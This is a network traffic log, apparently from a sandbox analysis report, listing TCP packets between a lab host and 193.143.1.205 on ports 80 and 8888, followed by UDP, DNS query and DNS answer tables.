Jan 11, 2025 06:04:07.246126890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246134996 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.246153116 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.246222019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246236086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246246099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246273041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246295929 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.246309042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246316910 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.261413097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261434078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261445999 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261475086 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.261482000 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261495113 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261502028 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.261512995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261526108 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261533976 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.261538982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261579990 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.261584044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261598110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261616945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261620045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.261629105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.261662006 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.266344070 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.266356945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.266367912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.266386032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.266393900 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.266396046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.266419888 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.266446114 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.289191008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.294039011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.294065952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.294079065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.294136047 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.298727989 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.303570986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.303627014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.303679943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.303699970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.303716898 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.303730965 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.303790092 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.303848028 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.303874969 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.303881884 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.303937912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.303941011 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.303973913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304008961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304044008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304048061 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.304099083 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.304099083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304133892 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304167986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304187059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304222107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304236889 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.304258108 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.304259062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304312944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.304349899 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.314332962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314388037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314424992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314464092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.314475060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314497948 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.314511061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314562082 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.314564943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314603090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314637899 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314647913 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.314675093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314708948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314743996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314759970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.314779997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314794064 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.314815998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314851046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.314877033 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.314883947 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.315057993 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.335598946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.335637093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.335696936 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.335709095 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.335768938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.335805893 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.335922956 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.335966110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336018085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336066008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336071968 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336124897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336132050 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336179972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336215019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336225986 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336266994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336302996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336354017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336361885 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336400032 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336407900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336460114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336493969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336540937 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336544037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336581945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336633921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336637020 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336688042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336739063 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336740017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336776018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336796999 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336810112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336843967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336888075 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336894035 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336931944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.336966038 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.336987019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337024927 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337066889 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337084055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337120056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337148905 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337152958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337191105 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337193012 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337239981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337276936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337291956 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337296009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337316036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337341070 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337351084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337387085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337398052 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337423086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337457895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337476015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337511063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337512970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337539911 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337548018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337583065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337615967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337630033 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337651968 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337662935 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337687016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337722063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337732077 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337742090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337775946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337785006 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337811947 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337846041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337879896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337891102 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337913990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337920904 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.337950945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.337987900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.338021994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.338057041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.338071108 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.338080883 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.338093042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.338128090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.338160992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.338180065 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.338197947 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.338205099 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352169037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352224112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352252960 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352277040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352329969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352339029 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352382898 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352417946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352433920 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352471113 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352504969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352556944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352569103 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352588892 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352611065 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352642059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352675915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352705002 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352709055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352745056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352756023 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352781057 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352816105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352830887 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352849960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352884054 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352912903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352935076 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352955103 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.352960110 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.352991104 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.353019953 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.353060961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.353066921 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.353097916 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.353127003 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.353143930 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.353169918 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.373307943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.373358011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.373370886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.373392105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.373404026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.373414993 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.373418093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.373436928 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.373449087 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.373461008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.373486996 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.387955904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.388022900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.388061047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.388096094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.388127089 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.388130903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.388166904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.388169050 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.388202906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.388248920 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.405103922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405123949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405145884 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405158997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405172110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405169964 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.405184984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405220985 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405222893 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.405235052 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405245066 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.405247927 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405261993 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.405289888 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.405308008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405320883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405333042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405344963 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405359030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.405361891 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.405386925 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.426361084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426429033 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426465988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426472902 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.426521063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426534891 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.426558018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426592112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426629066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426646948 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.426662922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426681995 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.426697969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426728010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426779032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426786900 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.426815033 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426841974 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.426846981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426882029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426915884 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426938057 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.426970005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.426971912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.427000046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.427035093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.427073002 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.427084923 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.427119970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.661101103 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.670312881 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.936300039 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:08.461657047 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:08.466505051 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:08.466763973 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:08.466950893 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:08.471784115 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:09.281529903 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:09.325041056 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:10.581907988 CET	49738	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:04:17.300539970 CET	59708	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:04:17.300539970 CET	192.168.2.10	1.1.1.1	0x84	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:04:17.307750940 CET	1.1.1.1	192.168.2.10	0x84	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:04:32.349150896 CET	1.1.1.1	192.168.2.10	0xb010	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:32.349150896 CET	1.1.1.1	192.168.2.10	0xb010	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
